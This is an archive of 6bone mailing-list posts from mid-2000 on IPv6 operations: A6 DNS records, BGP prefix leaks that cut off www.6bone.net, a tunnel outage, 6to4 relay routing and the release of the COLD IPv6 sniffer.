Project Team email:               Zentrum fuer Informationsverarbeitung
           join@uni-muenster.de   Roentgenstrasse 9-13
http://www.join.uni-muenster.de   D-48149 Muenster / Germany
email: schild@uni-muenster.de,  phone: +49 251 83 31638, fax: +49 251 83 31653

From 6bone-owner  Thu Jul 27 04:36:49 2000
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: DNS A6 chains
To: ipng@uni-muenster.de (JOIN Project Team)
Date: Thu, 27 Jul 2000 04:37:42 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <XFMail.20000727091931.ipng@uni-muenster.de> from "JOIN Project Team" at Jul 27, 2000 09:19:31 AM
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A6 support is in Bindv9, which is not yet released.  Testing is underway.
When it is stable, the servers for the ip6.int zone will be upgraded.


% I want to setup A6 chains for us and our leaf sites. I was wondering 
% if the 6bone's nameserver is capable of resolving A6 records, so I could 
% add a proper referral to 6bone.net or somewhere else? Something like this:
% 
% $ORIGIN ip6.join.uni-muenster.de 
% leafsite0100    IN      A6      24      0:0:100::       join.ip6.6bone.net.
% 
% ,while 6bone's nameserver would respond with the first 24 bit of JOIN's
% assigned prefix 3ffe:400:: if queried for join.ip6.6bone.net. 
% 
% Are such references possible now or in the near future? 
% 
% Thanks,
%     Christian
% 
% -- 
% JOIN -- IP Version 6 in the WiN   Christian Schild
%                   A DFN project   Westfaelische Wilhelms-Universitaet Muenster
% Project Team email:               Zentrum fuer Informationsverarbeitung
%            join@uni-muenster.de   Roentgenstrasse 9-13
% http://www.join.uni-muenster.de   D-48149 Muenster / Germany
% email: schild@uni-muenster.de,  phone: +49 251 83 31638, fax: +49 251 83 31653
% 


-- 
--bill

From 6bone-owner  Thu Jul 27 11:16:12 2000
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Date: Thu, 27 Jul 2000 20:16:26 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: New version of the CSELT's Tunnel Broker software
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>,
        "'tb@jester.cselt.it'" <tb@jester.cselt.it>
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Hi all,

this is just to inform you that a new version (v2.1) of the Tunnel Broker
implementation developed at CSELT is available for download at the
following URL:
http://carmen.cselt.it/ipv6/download.html

This new version of the tool fixes several bugs of the previous versions
and includes a powerful administrator interface. The release notes and a
brief installation and usage guide are available on-line at:
http://carmen.cselt.it/ipv6/tools/ipv6tb/index.html

Bye,
Ivano



From 6bone-owner  Fri Jul 28 02:42:43 2000
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Date: Fri, 28 Jul 2000 11:41:54 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: 6Bone routing problems: www.6bone.net unreachable from CSELT!
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Cc: Fasano Paolo <Paolo.Fasano@CSELT.IT>,
        Aiello Alessandro Michele <AlessandroMichele.Aiello@CSELT.IT>
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Hi all,

during the last days I have not been able to access www.6bone.net
using IPv6 and for this reason I am trying to figure out where the
problem is.

First of all, if you look at our 6bone routing reports (available at
http://carmen.cselt.it/ipv6/bgp/index.html) you can see that presently
we have ~130 unaggregated prefixes advertised within the BGP4+ cloud.
Most of the problems seem to come from the sites WES (USAE 
Waterway Experiment Station, USA) and IKARNET (Student Hostels
Wroclaw University of Technology, Poland).
In particular IKARNET and its tens of customers seem to own IPv6 prefix
delegations from several pTLAs: CICNET, ICM-PL, SICS and VIAGENIE.
If handled correctly this would be an interesting case of IPv6 multihoming
but unfortunately none of the above delegations is aggregated and
announced through the right path. Here at CSELT I see all of them
announced on the following AS path:
CSELT - UUNET-UK - ATT-LABS-EUROPE - WES - IKARNET - .......

Certainly this is due to a WES or IKARNET mis-configuration but in any
case I think that we could achieve a greater robustness of the network
if all pTLAs implemented proper IPv6 ingress filtering towards their
customers. In my case, if ATT-LABS-EUROPE would not re-distribute
within the 6bone backbone the routes learned from its customers and
not belonging to its pTLA delegation, I probably wouldn't experience this
problem.

Also the fact that I am not able to reach www.6bone.net seems to be
somehow related to the routing problem that I have just described. In fact,
a customer of IKARNET called ZET (Zaklad Energetyczny Tarnow S.A.,
Poland) is announcing the unaggregated prefix 3FFE:B00:C18::/48, which
belongs to the VIAGENIE addressing space. I see it through the
following AS path:
CSELT - UUNET-UK - VIAGENIE - WES - IKARNET - ZET - Incomplete

But 3ffe:b00:c18::/48 is the most specific route matching the IPv6 address
of www.6bone.net (3ffe:b00:c18:1::10). This really puzzles me in that I do
not think that the site www.6bone.net is located in Poland.

Am I missing something?

Bye,
Ivano



From 6bone-owner  Fri Jul 28 08:56:33 2000
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Date: 	Fri, 28 Jul 2000 17:56:22 +0200
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: stuart.prevost@bt.com
Cc: mleber@wes.army.mil, 6bone@ISI.EDU, 6bone-pl@sunsite.icm.edu.pl,
        wiget@usa.net
Subject: Re: Prefixes leaking to 6bone
Message-ID: <20000728175622.R15348@burza.icm.edu.pl>
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On Fri, Jul 28, 2000 at 04:22:06PM +0100, stuart.prevost@bt.com wrote:
> Dear Rafal,
> Please excuse me mailing you direct but I hope you are the correct person to
> contact.  I run a backbone site on the 6bone and have noticed that you are
> leaking longer prefixes (see below).  Please could you check your router so
> that you only advertise your assigned prefix into the default routing zone.
> If I understand correctly your prefix is 3FFE:8010::/28.
> If you wish to ask me anything about the routes I am receiving please let me
> know.

I see it quite clear but it looks like the paths you are showing are cut after
'202', which I suspect to be 2020 really. As you can see I am sending only this
prefix

> *> 3FFE:8010::/28   2001:618:1::103                        0 1849 786 8664 ?

The other ones are from one of my peers but not passing through our site. 

Full path for e.g.

> *> 3FFE:8010:16::1:14/126
>                     2001:618:1::103                        0 1849 5623 7170
> 202?

probably ends with ... 7170 2020 9478 44444 as I see in my table. I e-mailed
ASN2020 (in principle used internally in pl) administrator - Artur Frysiak
<wiget@usa.net> about the problem. Cc of this e-mail also to 7170
administrator.

R.
-- 
Ale kto by my³ rêce po przywitaniu siê z mê¿em? - A. Fedorczyk

From 6bone-owner  Fri Jul 28 09:59:09 2000
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Date: Fri, 28 Jul 2000 18:58:57 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: 6Bone routing problems: www.6bone.net unreachable from CSELT!
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Cc: Fasano Paolo <Paolo.Fasano@cselt.it>, "'Tomek Glod'" <tomek@ze.tarnow.pl>
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Hi all,

Tomek Glod from ZET (Poland) has just fixed the IPv6 routing problem that
caused the unreachability of www.6bone.net.
Thanks Tomek!

Anyway, we still have tons of unaggregated IPv6 routes coming from IKARNET.
Is there somebody who can fix also this problem?

Bye,
Ivano


 

> ----------
> From: 	Guardini Ivano[SMTP:Ivano.Guardini@cselt.it]
> Sent: 	venerdì 28 luglio 2000 11.41
> To: 	'6bone@ISI.EDU'
> Cc: 	Fasano Paolo; Aiello Alessandro Michele
> Subject: 	6Bone routing problems: www.6bone.net unreachable from
> CSELT!
> 
> Hi all,
> 
> during the last days I have not been able to access www.6bone.net
> using IPv6 and for this reason I am trying to figure out where the
> problem is.
> 
> First of all, if you look at our 6bone routing reports (available at
> http://carmen.cselt.it/ipv6/bgp/index.html) you can see that presently
> we have ~130 unaggregated prefixes advertised within the BGP4+ cloud.
> Most of the problems seem to come from the sites WES (USAE 
> Waterway Experiment Station, USA) and IKARNET (Student Hostels
> Wroclaw University of Technology, Poland).
> In particular IKARNET and its tens of customers seem to own IPv6 prefix
> delegations from several pTLAs: CICNET, ICM-PL, SICS and VIAGENIE.
> If handled correctly this would be an interesting case of IPv6 multihoming
> but unfortunately none of the above delegations is aggregated and
> announced through the right path. Here at CSELT I see all of them
> announced on the following AS path:
> CSELT - UUNET-UK - ATT-LABS-EUROPE - WES - IKARNET - .......
> 
> Certainly this is due to a WES or IKARNET mis-configuration but in any
> case I think that we could achieve a greater robustness of the network
> if all pTLAs implemented proper IPv6 ingress filtering towards their
> customers. In my case, if ATT-LABS-EUROPE would not re-distribute
> within the 6bone backbone the routes learned from its customers and
> not belonging to its pTLA delegation, I probably wouldn't experience this
> problem.
> 
> Also the fact that I am not able to reach www.6bone.net seems to be
> somehow related to the routing problem that I have just described. In
> fact,
> a customer of IKARNET called ZET (Zaklad Energetyczny Tarnow S.A.,
> Poland) is announcing the unaggregated prefix 3FFE:B00:C18::/48, which
> belongs to the VIAGENIE addressing space. I see it through the
> following AS path:
> CSELT - UUNET-UK - VIAGENIE - WES - IKARNET - ZET - Incomplete
> 
> But 3ffe:b00:c18::/48 is the most specific route matching the IPv6 address
> of www.6bone.net (3ffe:b00:c18:1::10). This really puzzles me in that I do
> not think that the site www.6bone.net is located in Poland.
> 
> Am I missing something?
> 
> Bye,
> Ivano
> 
> 

From 6bone-owner  Fri Jul 28 14:06:36 2000
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Date: Fri, 28 Jul 2000 23:06:22 +0200
From: Rene Mayrhofer <rene.mayrhofer@vianova.at>
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To: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Still problems with ftp.ipv6.nl
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Hi all

Could somebody tell me what is wrong here ? I am having this problem for quite
some time now.

traceroute6 ftp.ipv6.nl
traceroute6 to ftp.ipv6.nl (3ffe:604:5:0:4::1) from
3ffe:400:1020:1:200:21ff:fed2:186e, 30 hops max, 16 byte packets
 1  pluto.ip6.vianova.at (3ffe:400:1020:1::)  0.554 ms  0.544 ms  0.431 ms
 2  vnserv.ip6.vianova.at (3ffe:400:1020::)  75.742 ms  67.529 ms  68.929 ms
 3  6bone.ipv6.uni-muenster.de (3ffe:401::2c0:33ff:fe02:14)  163.482 ms * 
179.425 ms
 4  3ffe:2f00:10::9 (3ffe:2f00:10::9)  206.257 ms  189.174 ms *
 5  3ffe:2200:0:8000::2 (3ffe:2200:0:8000::2)  299.6 ms ir4.Amsterdam.surf.net
(3ffe:600:8000::5)  292.145 ms ir4.Amsterdam.surf.net (3ffe:600:8000::29) 
251.767 ms
 6  * * *
 7  * * *
 8  * * *
 9  * * *
10  * * *
11  * * *
12  * * *    

ftp.ipv6.nl is unreachable (ping6 also gets timeouts), while other IPv6 sites
work quite well (e.g. www.6bone.net, www.kame.net).

best greets,
Rene

From 6bone-owner  Fri Jul 28 14:20:55 2000
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Date: 	Fri, 28 Jul 2000 19:33:13 +0200
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: Guardini Ivano <Ivano.Guardini@cselt.it>
Cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>, Fasano Paolo <Paolo.Fasano@cselt.it>,
        Aiello Alessandro Michele <AlessandroMichele.Aiello@cselt.it>,
        wiget@pld.org.pl, ser@serek.arch.pwr.wroc.pl, tomek@ze.tarnow.pl
Subject: Re: 6Bone routing problems: www.6bone.net unreachable from CSELT!
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In-Reply-To: <A0B9FD493F1D6647B4053E22BB1C3CB634F15D@exc2k01.cselt.it>; from Ivano.Guardini@CSELT.IT on Fri, Jul 28, 2000 at 11:41:54AM +0200
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On Fri, Jul 28, 2000 at 11:41:54AM +0200, Guardini Ivano wrote:
> during the last days I have not been able to access www.6bone.net
> using IPv6 and for this reason I am trying to figure out where the
> problem is.
> First of all, if you look at our 6bone routing reports (available at
> http://carmen.cselt.it/ipv6/bgp/index.html) you can see that presently
> we have ~130 unaggregated prefixes advertised within the BGP4+ cloud.
> Most of the problems seem to come from the sites WES (USAE 
> Waterway Experiment Station, USA) and IKARNET (Student Hostels
> Wroclaw University of Technology, Poland).
> In particular IKARNET and its tens of customers seem to own IPv6 prefix
> delegations from several pTLAs: CICNET, ICM-PL, SICS and VIAGENIE.

I got to know that this WES is really a bogus pNLA from Poland using ASN7170
when peering with ATT-LABS-EUROPE and VIAGENIE. The administrator address is
probably ser@serek.arch.pwr.wroc.pl. I am also sending Cc to ASN2020
administrator new address (wiget@pld.org.pl) who has just cleaned the mess at
his site.

> Also the fact that I am not able to reach www.6bone.net seems to be
> somehow related to the routing problem that I have just described. In fact,
> a customer of IKARNET called ZET (Zaklad Energetyczny Tarnow S.A.,
> Poland) is announcing the unaggregated prefix 3FFE:B00:C18::/48, which
> belongs to the VIAGENIE addressing space. I see it through the
> following AS path:
> CSELT - UUNET-UK - VIAGENIE - WES - IKARNET - ZET - Incomplete
> But 3ffe:b00:c18::/48 is the most specific route matching the IPv6 address
> of www.6bone.net (3ffe:b00:c18:1::10). This really puzzles me in that I do
> not think that the site www.6bone.net is located in Poland.
> Am I missing something?

Again IKARNET->false_WES path but maybe ZETs (tomek@ze.tarnow.pl) fault in this
case. Cc to him also.

thanks for announcing/letting me know, I was able to mediate to some extent

R.
PS. Just now the bogus routes disappeared completely, I hope that forever.
-- 
Ale kto by my³ rêce po przywitaniu siê z mê¿em? - A. Fedorczyk

From 6bone-owner  Fri Jul 28 15:16:48 2000
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From: Ronald.vanderPol@surfnet.nl
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To: Rene Mayrhofer <rene.mayrhofer@vianova.at>
cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: Still problems with ftp.ipv6.nl
In-Reply-To: <3981F5CE.726C1F83@vianova.at>
Message-ID: <Pine.BSF.4.21.0007290013460.261-100000@bones.ncc-1701.surfnet.nl>
Organisation: SURFnet bv
Address: "Radboudburcht, P.O. Box 19035, 3501 DA Utrecht, NL"
Phone: +31 302 305 305
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On Fri, 28 Jul 2000, Rene Mayrhofer wrote:

> Hi all
> 
> Could somebody tell me what is wrong here ? I am having this problem for quite
> some time now.
> 
> traceroute6 ftp.ipv6.nl
> traceroute6 to ftp.ipv6.nl (3ffe:604:5:0:4::1) from
> 3ffe:400:1020:1:200:21ff:fed2:186e, 30 hops max, 16 byte packets
>  1  pluto.ip6.vianova.at (3ffe:400:1020:1::)  0.554 ms  0.544 ms  0.431 ms
>  2  vnserv.ip6.vianova.at (3ffe:400:1020::)  75.742 ms  67.529 ms  68.929 ms
>  3  6bone.ipv6.uni-muenster.de (3ffe:401::2c0:33ff:fe02:14)  163.482 ms * 
> 179.425 ms
>  4  3ffe:2f00:10::9 (3ffe:2f00:10::9)  206.257 ms  189.174 ms *
>  5  3ffe:2200:0:8000::2 (3ffe:2200:0:8000::2)  299.6 ms ir4.Amsterdam.surf.net
> (3ffe:600:8000::5)  292.145 ms ir4.Amsterdam.surf.net (3ffe:600:8000::29) 
> 251.767 ms
>  6  * * *

5 is our router. It has an IPv6 in IPv4 link to a Cistron router.
I have contacted Cistron, as their router was not reachable by
IPv4 either. They replied that their router had died.

Yesterday, I could reach the Cistron router over IPv4, but not
over IPv6. I have contacted them again, but did not get a reply
yet.

	rvdp


From 6bone-owner  Sat Jul 29 01:37:28 2000
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To: Ronald.vanderPol@surfnet.nl
Cc: Rene Mayrhofer <rene.mayrhofer@vianova.at>,
        "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: Still problems with ftp.ipv6.nl
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From: Michel Onstein <michel@promera.nl>
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> 
> 5 is our router. It has an IPv6 in IPv4 link to a Cistron router.
> I have contacted Cistron, as their router was not reachable by
> IPv4 either. They replied that their router had died.
> 
> Yesterday, I could reach the Cistron router over IPv4, but not
> over IPv6. I have contacted them again, but did not get a reply
> yet.
> 
Hi,

i'll be fixing the cistron ipv6 setup this afternoon, i haven't done
this earlier due to the amounts of work that keep piling up.

Michel

From 6bone-owner  Sun Jul 30 04:28:04 2000
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To: Michel Onstein <michel@promera.nl>
CC: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: Still problems with ftp.ipv6.nl
References: <3981F5CE.726C1F83@vianova.at> <Pine.BSF.4.21.0007290013460.261-100000@bones.ncc-1701.surfnet.nl> <20000729103817.B791@promera.nl>
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Michel Onstein wrote:
> 
> >
> > 5 is our router. It has an IPv6 in IPv4 link to a Cistron router.
> > I have contacted Cistron, as their router was not reachable by
> > IPv4 either. They replied that their router had died.
> >
> > Yesterday, I could reach the Cistron router over IPv4, but not
> > over IPv6. I have contacted them again, but did not get a reply
> > yet.
> >
> Hi,
> 
> i'll be fixing the cistron ipv6 setup this afternoon, i haven't done
> this earlier due to the amounts of work that keep piling up.
Thanks, it works now.

best greets,
Rene

From 6bone-owner  Sun Jul 30 22:22:49 2000
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From: george+6bone@m5p.com
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Subject: Thanks for fixing the routing!
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Thanks to everybody on this list who fixed up the recent routing
glitches on the 6bone!  Now that the 6bone has recovered from its
spasm of routing misinformation, I'm pleased to announce that the
World Science Fiction Society's web page is now accessible via IPv6
at www6.wsfs.org or www6.worldcon.org.  It's my guess that this is
one of the first web sites on the 6bone bone which is not concerned
in any way with network operations.  Perhaps it's the very first,
though it would be hard to prove.  I'm running FreeBSD-3.4+KAME-
stable-March2000, Apache-1.3.12 with KAME patches, sendmail-8.11.0
with IPv6 service, and BIND-9.0.0-rc1 with IPv6 service.  My appre-
ciation goes out to all the people who made this wonderful software
work, and to the people at Verio Northwest who provide my IPv6 tunnel.

-- George Mitchell (george+ipv6@m5p.com)
(IPv6 mail at george+ipv6@ip6.m5p.com)


From 6bone-owner  Tue Aug  8 21:00:59 2000
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Subject: 6to4 question
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I have been trying the 6to4 protocol and studying the related documents.

In the draft "draft-ietf-ngtrans-6to4-06.txt",  there is description as
the following:

            On its native IPv6 interface, the relay router MUST
advertise a route
             to 2002::/16. It MUST NOT advertise a longer 2002:: routing
prefix on
             that interface.

I have doubt about this. Why can we have two relay routers in the same
domain advertisng
different LONGER prefixes such as 2002:ca27:9d8e::/48 and
2002:ca27:9d8f::/48 respectively?
Then, different relay routers can be used for different 2002::/48 to
connect 6o4 site and
pure IPv6 site.
                      Thanks

--
---------------------------------
      Yann-Ju Chu
    Telecommunication Laboratories
    ChungHwa Telecom Co., Ltd.
    TEL: +886 3 424-5681
    FAX: +886 3 424-4888
    http://www.chttl.com.tw
---------------------------------



From 6bone-owner  Wed Aug  9 01:15:40 2000
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	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
cc: 6Bone <6bone@ISI.EDU>
Subject: Re: 6to4 question 
In-reply-to: Your message of Wed, 09 Aug 2000 11:52:23 +0800.
             <3990D577.CC47DECA@ms.chttl.com.tw> 
Date: Wed, 09 Aug 2000 10:17:00 +0200
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 In your previous mail you wrote:

   I have been trying the 6to4 protocol and studying the related documents.
   
   In the draft "draft-ietf-ngtrans-6to4-06.txt",  there is description as
   the following:
   
               On its native IPv6 interface, the relay router MUST
   advertise a route
                to 2002::/16. It MUST NOT advertise a longer 2002:: routing
   prefix on
                that interface.
   
   I have doubt about this.

=> I have no doubt about this because we DON'T want to have the
whole IPv4 routing table injected into 2002:xx:yy::/48 stuff...
Whether the MUST NOT is enough is another question (I don't think so
then I proposed to swap the bytes of the embedded IPv4 address in
6to4 prefixes in order to make this impossible. Perhaps I was/am
too pessimistic... We'll see).

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Wed Aug  9 07:07:57 2000
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Date: Wed, 09 Aug 2000 09:08:25 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
CC: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>
Subject: Re: 6to4 question
References: <200008090817.KAA17236@givry.rennes.enst-bretagne.fr>
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Well, the 6to4 specification is written to forbid any possibility
of injecting the IPv4 routing table into the IPv6 routing table.
As Francis says, people think this would be evil. With today's
routers, they would most likely run out of memory and CPU.
(Remember that an IPv6 route entry is ~4 times bigger.)

So the answer is: you could do it, and it would probably work for
a few cases, but you MUST NOT.

  Brian

Francis Dupont wrote:
> 
>  In your previous mail you wrote:
> 
>    I have been trying the 6to4 protocol and studying the related documents.
> 
>    In the draft "draft-ietf-ngtrans-6to4-06.txt",  there is description as
>    the following:
> 
>                On its native IPv6 interface, the relay router MUST
>    advertise a route
>                 to 2002::/16. It MUST NOT advertise a longer 2002:: routing
>    prefix on
>                 that interface.
> 
>    I have doubt about this.
> 
> => I have no doubt about this because we DON'T want to have the
> whole IPv4 routing table injected into 2002:xx:yy::/48 stuff...
> Whether the MUST NOT is enough is another question (I don't think so
> then I proposed to swap the bytes of the embedded IPv4 address in
> 6to4 prefixes in order to make this impossible. Perhaps I was/am
> too pessimistic... We'll see).
> 
> Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Wed Aug  9 16:17:24 2000
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Date: Wed, 9 Aug 2000 19:17:53 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: 6bone@ISI.EDU
Subject: Testing an IPv6 web site - guinea pigs wanted
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Greetings

	I've got me a copy of apache 1.3.12, patched to use IPv6.  This
patch, in part, comes out of the work originally done by itojun, further
patches coming from the Polish linux distrib. and ultimately from the
Debian folk.  The system is running linux kernel version 2.2.16 with glibc
2.1.3.

To enhance browsing pleasure (this is all I could come up with for web
content at short notice), the following URL's are available for testing:

	http://stats.ipv6.crc.ca/cgi-bin/j-e

and

	http://stats.ipv6.crc.ca/cgi-bin/wwwjdic

Let me know if it works, and feel free to pound the site with prototype
spiders and such.

tia!

wfms

P.S. No, I don't have an IPv6 browser, I'm behind a firewall, and use a
squid proxy for web access.  I know, I know.... (lftp seems to shown it to
work though).





From 6bone-owner  Fri Aug 11 10:14:13 2000
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Date: Fri, 11 Aug 2000 20:15:02 +0300
From: John Savitsky <john@kspu.kr.ua>
To: 6bone@ISI.EDU
Subject: Re: Question about the future
Message-ID: <20000811201502.A27043@kspu.kr.ua>
Mail-Followup-To: 6bone@ISI.EDU
References: <39465173.A647C47C@hursley.ibm.com> <200006131633.MAA0000009573@yquarry.zk3.dec.com>
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On Tue, Jun 13, 2000 at 12:33:29PM -0400, Jim Bound wrote:
> Brian,
> 
> I think we should track down the author of this mail and make a federal
> case out of it?  This is unacceptable to IBM or any company.  I am
> appalled by such behavior.
> 
> That mail could have leaked to a critical account situation in the IBM
> field and had a negative impact on IBM.  I consider such bogus mail
> criminal.  And it should be dealt with as such.

   Oh-oh-oh!

> regards,
> /jim

 ... ×ÏÎÉ ÛÕËÁÀÔØ ÔÅ, ÞÏÇÏ ÎÅÍÁ, ÝÏ ÄÏ×ÅÓÔÉ ÝÏ ÊÏÇÏ ÎÅ ¦ÓÎÕ¤.
-- 
   Sincerely yours, John Savitsky                         DE UR5VIB


From 6bone-owner  Fri Aug 11 11:18:45 2000
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Date: Fri, 11 Aug 2000 13:17:36 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: John Savitsky <john@kspu.kr.ua>
CC: 6bone@ISI.EDU
Subject: Re: Question about the future
References: <39465173.A647C47C@hursley.ibm.com> <200006131633.MAA0000009573@yquarry.zk3.dec.com> <20000811201502.A27043@kspu.kr.ua>
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John,

This was two months ago, was due to some level of misunderstanding
and/or miscommunication, and was dealt with appropriately at the time.

   Brian

John Savitsky wrote:
> 
> On Tue, Jun 13, 2000 at 12:33:29PM -0400, Jim Bound wrote:
> > Brian,
> >
> > I think we should track down the author of this mail and make a federal
> > case out of it?  This is unacceptable to IBM or any company.  I am
> > appalled by such behavior.
> >
> > That mail could have leaked to a critical account situation in the IBM
> > field and had a negative impact on IBM.  I consider such bogus mail
> > criminal.  And it should be dealt with as such.
> 
>    Oh-oh-oh!
> 
> > regards,
> > /jim
> 
>  ... ×ÏÎÉ ÛÕËÁÀÔØ ÔÅ, ÞÏÇÏ ÎÅÍÁ, ÝÏ ÄÏ×ÅÓÔÉ ÝÏ ÊÏÇÏ ÎÅ ¦ÓÎÕ¤.
> --
>    Sincerely yours, John Savitsky                         DE UR5VIB

From 6bone-owner  Sun Aug 13 08:44:08 2000
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Date: Sun, 13 Aug 2000 17:43:20 +0200
Message-Id: <200008131543.RAA01755@www2.webmail.it>
From: Giuliano Peritore <g.peritore@panservice.it>
To: 6bone@ISI.EDU
Reply-To: Giuliano Peritore <g.peritore@panservice.it>
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Subject: IPv6 sniffer and protocol analyzer
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   Dear list members,

   two years ago I released a free Sniffing and Network 
analyzing tool for Linux called COLD which supports a 
lot of different protocols and which had discrete 
success.

   The sniffer is able to gather data from different 
interfaces (eth, ppp, tr, lo, isdn) and supports 802.1 
BPDU, 802.2 LLC, 802.3 MAC, 802.5 Token Ring, SNAP, 
NETBIOS, IPX, ARP, IPv6, ICMP6, IP, ICMP, TCP, UDP in 
compliance with lots of standards and RFCs.

   Today I released a COLD beta of version 1.0.12 which 
supports IPv6 and ICMP6.  IPv6 is supported either on 
Ethernet or incapsulated over IPv4.

   I wrote to this list since I think this is one of 
the biggest communities of experienced IPv6 users with 
lots of people probably interested in the tool.  I'd 
love to receive comments, suggestions and bug reports 
before releasing the nonbeta version.

   Thanks in advance

   The download URL is http://www.panservice.it/cold


   --------------------------------------------------
   Giuliano Peritore  mailto:g.peritore@panservice.it
   PANSERVICE - Direzione
   Servizi professionali per internet e il networking
   Panservice e\' socio AIIP   -   RIPE Local Registry
   Phone: +39 0773 410020   --   Fax: +39 0773 470219
   http://www.panservice.it mailto:info@panservice.it


From 6bone-owner  Sun Aug 13 13:34:50 2000
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Date: Sun, 13 Aug 2000 21:34:47 +0100
From: Mounir Eddabbabi <Mounir.Eddabbabi@ensi.rnu.tn>
Organization: ENSI
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To: Giuliano Peritore <g.peritore@panservice.it>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 sniffer and protocol analyzer
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Giuliano Peritore wrote:

>    Dear list members,
>
>    two years ago I released a free Sniffing and Network
> analyzing tool for Linux called COLD which supports a
> lot of different protocols and which had discrete
> success.
>
>    The sniffer is able to gather data from different
> interfaces (eth, ppp, tr, lo, isdn) and supports 802.1
> BPDU, 802.2 LLC, 802.3 MAC, 802.5 Token Ring, SNAP,
> NETBIOS, IPX, ARP, IPv6, ICMP6, IP, ICMP, TCP, UDP in
> compliance with lots of standards and RFCs.
>
>    Today I released a COLD beta of version 1.0.12 which
> supports IPv6 and ICMP6.  IPv6 is supported either on
> Ethernet or incapsulated over IPv4.
>
>    I wrote to this list since I think this is one of
> the biggest communities of experienced IPv6 users with
> lots of people probably interested in the tool.  I'd
> love to receive comments, suggestions and bug reports
> before releasing the nonbeta version.
>
>    Thanks in advance
>
>    The download URL is http://www.panservice.it/cold
>
>    --------------------------------------------------
>    Giuliano Peritore  mailto:g.peritore@panservice.it
>    PANSERVICE - Direzione
>    Servizi professionali per internet e il networking
>    Panservice e\' socio AIIP   -   RIPE Local Registry
>    Phone: +39 0773 410020   --   Fax: +39 0773 470219
>    http://www.panservice.it mailto:info@panservice.it

I've tried this software on my FreeBSD 4.0-RELEASE (IPv6 kame stack) and
this is the result :
#cold -i xl0
This is Cold Version 1.0.12beta - August 13, 2000 - by Giuliano C.
Peritore
This is Cold Version 1.0.12beta - August 13, 2000 - by Giuliano C.
Peritore
Interface: xl0, Network: 193.95.37.0, Netmask: 255.255.255.0
ERROR: socket: Protocol not supported




From 6bone-owner  Mon Aug 14 04:45:50 2000
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Date: Mon, 14 Aug 2000 12:46:17 +0100
To: s.baker@ukerna.ac.uk
From: Simon Baker <s.baker@ukerna.ac.uk>
Subject: Re: IPv6 sniffer and protocol analyzer
Cc: 6bone@ISI.EDU, Giuliano Peritore <g.peritore@panservice.it>
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At 17:43 13/08/00 +0200, you wrote:

>    Dear list members,
>
>    two years ago I released a free Sniffing and Network
>analyzing tool for Linux called COLD which supports a
>lot of different protocols and which had discrete
>success.

-----BEGIN PGP SIGNED MESSAGE-----

Hi,

Is there any danger of you releasing the source code for COLD as
outlined in the file COPYING which uses the GNU Public license:

          "For example, if you distribute copies of such a program, whether
         gratis or for a fee, you must give the recipients all the rights that
         you have.  You must make sure that they, too, receive or can get the
         source code.  And you must show them these terms so they know their
         rights."

Cheers,

S.

Simon Baker
JANET-CERT                               Tel: +44 1235 822383
UKERNA                                   Fax: +44 1235 822398
Atlas Centre                             s.baker@ukerna.ac.uk
Chilton, Didcot
Oxfordshire
OX11 0QS
United Kingdom
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

iQEVAwUBOZfcAXprBwubjHjfAQFrUAgA2ywoYgN5Zx+SDhRoBH1WPSekKno5VHXQ
gHsYOhexsK2x1FuJSxgSwZ+ZLOg87jrznO79WsW4ShENvfWfNHwu3TNIbI7ScKgY
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N/+VEzK1jq5r+zryB2pD83Z+i3Wg1ExhL019c8vP4+qrlF4n4dRQfw==
=Ogyl
-----END PGP SIGNATURE-----


From 6bone-owner  Tue Aug 15 23:41:02 2000
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Date: Wed, 16 Aug 2000 08:41:12 +0200
To: 6bone@ISI.EDU
From: Giuliano Peritore <g.peritore@panservice.it>
Subject: Re: IPv6 sniffer and protocol analyzer
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         Not at this moment.  The package needs some refining and some new 
implementation (mostly filters) before letting others to mess up with the 
source.

>Is there any danger of you releasing the source code for COLD as
>outlined in the file COPYING which uses the GNU Public license:




         ---------------------------------------------------
         Dott. Giuliano Peritore - g.peritore@panservice.it
         Direzione - Panservice
         Servizi professionali per Internet ed il Networking
         Panservice e' associata AIIP -- RIPE Local Registry
         Phone: +39 0773 410020 Fax +39 0773 470219 http://www.panservice.it
         ---------------------------------------------------


From 6bone-owner  Thu Aug 17 03:02:12 2000
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Date: Thu, 17 Aug 2000 19:10:03 +0900
From: ksb <ksbn@kt.co.kr>
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Organization: Korea Telecom
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Subject: telebit router
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How are you?

If you have the experience to use erricsson telebit
IPv6 routers, will you send me merits and demerits
of the IPv6 router?

Thnaks.
ksb

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Thu Aug 17 13:42:23 2000
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Date: Thu, 17 Aug 2000 09:44:21 -0500 (CDT)
From: Li <hli@suite.fh.siue.edu>
To: 6bone@ISI.EDU
Subject: 6bone connection
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Hi,

